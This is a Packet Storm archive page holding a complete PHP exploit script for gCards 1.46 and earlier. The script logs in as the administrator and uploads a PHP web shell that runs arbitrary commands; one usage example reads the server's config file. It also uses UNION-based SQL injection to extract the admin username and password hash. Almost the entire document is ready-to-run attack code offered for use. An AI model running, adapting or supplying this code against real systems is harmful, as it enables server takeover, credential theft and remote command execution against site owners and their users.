what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

gcards-sql-exec.txt

gcards-sql-exec.txt
Posted May 30, 2007
Authored by Silentz | Site w4ck1ng.com

gCards versions 1.46 and below SQL injection and remote code execution exploit.

tags | exploit, remote, code execution, sql injection
SHA-256 | 2dd8563c78db39734e4fd6f8c0723764970b8fb5a83098d5dd72aaf6e381be62

gcards-sql-exec.txt

Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
<?php

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

if ($argc<4) {
print "-------------------------------------------------------------------------\r\n";
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";
print "Usage: w4ck1ng_gcards.php [OPTION] [HOST] [PATH] ([USER] [PASS] [COMMAND])\r\n\r\n";
print "[OPTION] = 0 = SQL Injection (Admin user & hash retrieval)\r\n";
print " 1 = Remote Code Execution\r\n";
print "[HOST] = Target server's hostname or ip address\r\n";
print "[PATH] = Path where gCards is located\r\n";
print "[USER] = Admin's username\r\n";
print "[PASS] = Admin's password\r\n";
print "[COMMAND] = Command to execute\r\n\r\n";
print "e.g. w4ck1ng_gcards.php 0 victim.com /gcards/\r\n";
print " w4ck1ng_gcards.php 1 victim.com /gcards/ username password \"ls -lia\"\r\n";
print " w4ck1ng_gcards.php 1 victim.com /gcards/ username password \"cat ../config.php\"\r\n";
print "-------------------------------------------------------------------------\r\n";
print " http://www.w4ck1ng.com\r\n";
print " ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
die;
}


$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxy=='') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
}

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

$exploit = $argv[1];
$host = $argv[2];
$path = $argv[3];
$user = $argv[4];
$pass = $argv[5];
$cmd = $argv[6];
$cmd = urlencode($cmd);
$port=80;$proxy="";

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

if ($exploit==0){

print "-------------------------------------------------------------------------\r\n";
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";

echo "\r\n[+] Logging in...";

$data="username=" . $user;
$data.="&userpass=" . $pass;
$packet ="POST " . $path . "admin/admin.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;

sendpacketii($packet);

if (strstr($html,"Authentication failed")){die("...Failed!\r\n"); exit();}
else{echo "...Successful!\r\n";}
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
$cookie=$temp2[0];

$packet ="GET " . $path . "admin/cards.php HTTP/1.1\r\n";
$packet.="Host: " . $host . "\r\n";
$packet.="Cookie: " . $cookie . "\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

$temp3=explode("<option value=\"",$html);
$temp4=explode("\"",$temp3[1]);

$catid=$temp4[0];
if ($catid=="") {$catid=1;}

echo "[+] Uploading shell...";
$data='-----------------------------7d73d8371d06d2
Content-Disposition: form-data; name="MAX_FILE_SIZE"

250000
-----------------------------7d73d8371d06d2
Content-Disposition: form-data; name="cardname"

w4ck1ng
-----------------------------7d73d8371d06d2
Content-Disposition: form-data; name="catid"

'.$catid.'
-----------------------------7d73d8371d06d2
Content-Disposition: form-data; name="userfile"; filename="w4ck1ng.php"
Content-Type: application/octet-stream

<?php echo "<font color=\"#FFFFFF\">...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=\"#FFFFFF\">...Silentz</font>";?>
-----------------------------7d73d8371d06d2
Content-Disposition: form-data; name="userthumb"; filename="w4ck1ng.php"
Content-Type: application/octet-stream

<?php echo "<font color=\"#FFFFFF\">...Silentz</font>";ini_set("max_execution_time",0);passthru($_GET[cmd]);echo "<font color=\"#FFFFFF\">...Silentz</font>";?>
-----------------------------7d73d8371d06d2--
';
$packet ="POST " . $path . "admin/upload.php HTTP/1.1\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d73d8371d06d2\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: " . $cookie . "\r\n";
$packet.="Connection: Close\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

sendpacketii($packet);
if (strstr($html,"successfully"))
{echo "...Successful!\r\n";}
else
{die("...Failed!\r\n"); exit();}

$packet ="GET " . $path . "admin/cards.php HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: " . $cookie . "\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

$temp=explode("w4ck1ng.php",$html);
$temp2=explode("<td>",$temp[count($temp)-2]);
$temp=$temp2[count($temp2)-1];
$newfile=$temp."w4ck1ng.php";
if ($newfile=="") {die("For some reason, exploit failed...");}

echo "[+] Show time!!!\r\n\r\n";
$packet ="GET " . $path . "images/".$newfile."?cmd=" . $cmd . " HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

if (strstr($html,"...Silentz"))
{
$temp=explode("...Silentz</font>",$html);
$temp2=explode("<font color=\"#FFFFFF\">",$temp[1]);
echo "===============================================================\r\n\r\n";
echo $temp2[0];
echo "\r\n===============================================================\r\n";
echo "\r\n[+] Shell...http://" .$host.$path. "images/" . $newfile . "\r\n";

print "-------------------------------------------------------------------------\r\n";
print " http://www.w4ck1ng.com\r\n";
print " ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";

die;
}

else{die(); exit();}}

if($exploit==1){

$sql = "getnewsitem.php?newsid=999/**/UNION/**/SELECT/**/0,username,username,username,0/**/FROM/**/gc_cardusers/**/WHERE/**/userid=1/*";
$packet ="GET " . $path . $sql . " HTTP/1.1\r\n";
$packet.="Host: " . $host . "\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);

$temp = explode("<td><span class=\"bold\">",$html);
$temp2 = explode("</span><br>",$temp[1]);
$username = $temp2[0];

if($username){

print "-------------------------------------------------------------------------\r\n";
print " gCards <= 1.46 SQL Injection/Remote Code Execution Exploit\r\n";
print "-------------------------------------------------------------------------\r\n";

echo "[+] Admin User: " . $username . "\r\n";}


$sql = "getnewsitem.php?newsid=999/**/UNION/**/SELECT/**/0,userpass,userpass,userpass,0/**/FROM/**/gc_cardusers/**/WHERE/**/userid=1/*";
$packet ="GET " . $path . $sql . " HTTP/1.1\r\n";
$packet.="Host: " . $host . "\r\n";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727;)\r\n";
$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);
$temp = explode("<td><span class=\"bold\">",$html);
$temp2 = explode("</span><br>",$temp[1]);
$password = $temp2[0];

if($username){

echo "[+] Admin Hash: " . $password . "\r\n";

print "-------------------------------------------------------------------------\r\n";
print " http://www.w4ck1ng.com\r\n";
print " ...Silentz\r\n";
print "-------------------------------------------------------------------------\r\n";
}
}
?>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close